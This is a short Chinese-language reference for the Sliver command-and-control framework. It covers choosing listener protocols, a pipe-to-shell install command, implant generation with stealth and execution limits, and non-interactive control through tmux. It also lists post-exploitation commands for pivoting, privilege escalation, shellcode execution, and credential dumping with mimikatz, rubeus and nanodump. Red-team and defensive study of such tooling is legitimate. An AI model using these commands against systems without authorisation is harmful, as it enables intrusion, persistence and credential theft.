Sliver 是开源跨平台 C2 框架,支持 mTLS/HTTPS/HTTP/DNS/WireGuard 多协议、Session 与 Beacon 双模式、端口转发、SOCKS5、TCP Pivot、Named Pipe Pivot 穿透,以及 Armory 扩展与 BOF/COFF 执行。
用途与协议选择:内网或可控环境选 mTLS(默认 8888,TLS 双向认证,速度快);出网受限有代理选 HTTPS(443,隐蔽性高,支持 --lets-encrypt、--website 伪装静态站点);仅 DNS 出网选 DNS(53,慢但隐蔽,域名 FQDN 末尾带点);需要隧道选 WireGuard(53/UDP)。不确定时可用多协议备份。
安装与连接:curl https://sliver.sh/install | sudo bash;启动服务端 sliver-server,客户端 sliver-client。非交互场景可用 tmux new-session -d -s sliver "/path/to/sliver-client console",配合 tmux send-keys/capture-pane 执行命令并读取输出,例如 generate --mtls 10.0.0.164:8888 --os linux --save /tmp/implant。常用状态命令:version、jobs、implants、sessions、beacons;jobs -k JOB_ID 停止监听器。
植入体生成:Session 为实时持久连接,直接支持 shell/portfwd/pivot,适合交互操作;Beacon 定期轮询(默认 60s,可用 --seconds 与 --jitter 调整),隐蔽性高,适合长期潜伏,需 interactive 切换。生成命令可指定协议、系统、架构、输出格式(exe/shared/shellcode/service)与保存路径,并支持 --limit-datetime、--limit-domainjoined、--limit-hostname、--limit-username 等执行限制。
会话与后渗透:use SESSION_ID 进入会话,可执行 ls/cd/pwd/cat、download/upload、mkdir/rm、ps/kill、procdump、execute -o、msf 集成等。网络穿透包括 portfwd add、rportfwd add、wg-portfwd add、socks5 start --port 1080(配合 proxychains4)、pivots tcp、pivots named-pipe。后渗透可 migrate、execute-shellcode、execute-assembly、getsystem、impersonate、rev2self,并通过 armory install 安装 nanodump、rubeus、mimikatz 等扩展执行凭据操作。
限制:本资料未提供价格、授权、支持平台版本、效果或合规说明;相关命令具有高风险,应仅在合法授权的测试环境中使用。